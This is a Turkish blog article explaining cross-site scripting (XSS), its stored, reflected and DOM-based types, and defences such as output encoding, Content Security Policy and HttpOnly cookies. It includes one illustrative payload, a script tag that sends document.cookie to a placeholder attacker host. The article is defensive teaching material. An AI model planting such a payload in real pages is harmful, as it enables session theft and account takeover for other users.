Furkan KapukayaYazılım geliştirme
Güvenlik ve KVKK3 dk okuma

XSS (Cross-Site Scripting) Nedir? Web Uygulamalarında Nasıl Önlenir?

Siteler arası betik çalıştırma (XSS) saldırısının türleri, oturum çalma gibi sonuçları, çıktı kodlama, Razor ve modern çatıların koruması, Content Security Policy, HttpOnly çerezler ve zengin metin güvenliği.

XSS (Cross-Site Scripting), saldırganın bir web sitesine kendi JavaScript kodunu yerleştirip diğer kullanıcıların tarayıcısında çalıştırmasıdır. Kod, sitenin kendi kodu gibi çalıştığı için oturum bilgilerine, sayfadaki verilere ve kullanıcının yapabildiği tüm işlemlere erişebilir. Yıllardır en yaygın web açıkları arasında yer almaya devam etmektedir.

Nasıl olur?

Bir yorum alanına şu metin yazılır ve site bunu olduğu gibi sayfaya basarsa:

<script>fetch('https://saldirgan.example/?c=' + document.cookie)</script>

Yorumu görüntüleyen her kullanıcının tarayıcısı bu kodu çalıştırır.

Türleri

TürNasıl çalışır?
Kalıcı (stored)Kötü içerik veritabanına kaydedilir, sayfayı açan herkese çalışır
Yansıtılan (reflected)Kötü içerik bağlantıda gelir; kurban hazırlanmış bir bağlantıya tıklar
DOM tabanlıSunucu karışmaz; sayfadaki JavaScript, URL veya girdiden aldığı veriyi güvensiz şekilde sayfaya yazar

Olası sonuçlar

  • Oturum çerezlerinin çalınması ve hesap ele geçirme
  • Kullanıcı adına işlem yapılması (sipariş, şifre değişikliği)
  • Sahte giriş formlarıyla parola toplanması
  • Sayfa içeriğinin değiştirilmesi

Temel savunma: Çıktı kodlama

Kullanıcıdan gelen veri sayfaya yazılırken bağlama uygun şekilde kodlanmalıdır: HTML içinde < karakteri &lt; olur ve kod olarak değil metin olarak görünür.

İyi haber: Razor (ASP.NET Core), Blazor, React, Vue ve Angular gibi modern araçlar varsayılan olarak kodlama yapar. Sorun, bu korumayı bilerek atlayan yerlerde ortaya çıkar:

  • Razor'da @Html.Raw(...)
  • React'te dangerouslySetInnerHTML
  • JavaScript'te element.innerHTML = kullaniciVerisi

Bu kullanımlar kod incelemesinde özel dikkat gerektirir. Bkz. code review.

Bağlama dikkat

HTML gövdesi, HTML öznitelikleri, JavaScript içi, URL ve CSS için kodlama kuralları farklıdır. Örneğin kullanıcı verisini href özniteliğine yazarken javascript: ile başlayan adresler engellenmelidir. Veriyi doğrudan script blokları içine yazmaktan kaçının; bunun yerine data- öznitelikleri veya JSON kullanın.

Zengin metin (HTML) girdisi

Blog editörü veya ürün açıklaması gibi alanlarda kullanıcının HTML girmesi gerekiyorsa, izin listesi tabanlı bir HTML temizleyici kullanılmalıdır. Yasaklı etiketleri tek tek aramaya çalışan kara liste yaklaşımları aşılabilir.

Ek savunma katmanları

  1. Content Security Policy (CSP): Yalnızca izin verilen kaynaklardan script çalıştırılmasını sağlar; satır içi script'leri engelleyerek XSS'in etkisini büyük ölçüde azaltır. Bkz. HTTP güvenlik başlıkları.
  2. HttpOnly çerezler: Oturum çerezleri JavaScript ile okunamaz; çerez çalma engellenir.
  3. Girdi doğrulama: Beklenen formatı dayatmak (sayı, tarih, e-posta) saldırı yüzeyini daraltır; ama çıktı kodlamanın yerini tutmaz.

Sık sorulan sorular

Girdi doğrulama tek başına yeterli mi?

Hayır. Aynı veri farklı bağlamlarda farklı tehlike taşır. Asıl savunma, veriyi yazdığınız noktada doğru kodlamaktır.

XSS ile SQL injection arasındaki fark nedir?

SQL injection sunucudaki veritabanını hedef alır; XSS ise diğer kullanıcıların tarayıcısını. Bkz. SQL injection önleme.

Sonuç

XSS'e karşı en güçlü koruma, modern araçların varsayılan kodlamasını bozmamak ve CSP gibi ek katmanlar eklemektir. Ham HTML basan her satır, potansiyel bir açık olarak ele alınmalıdır.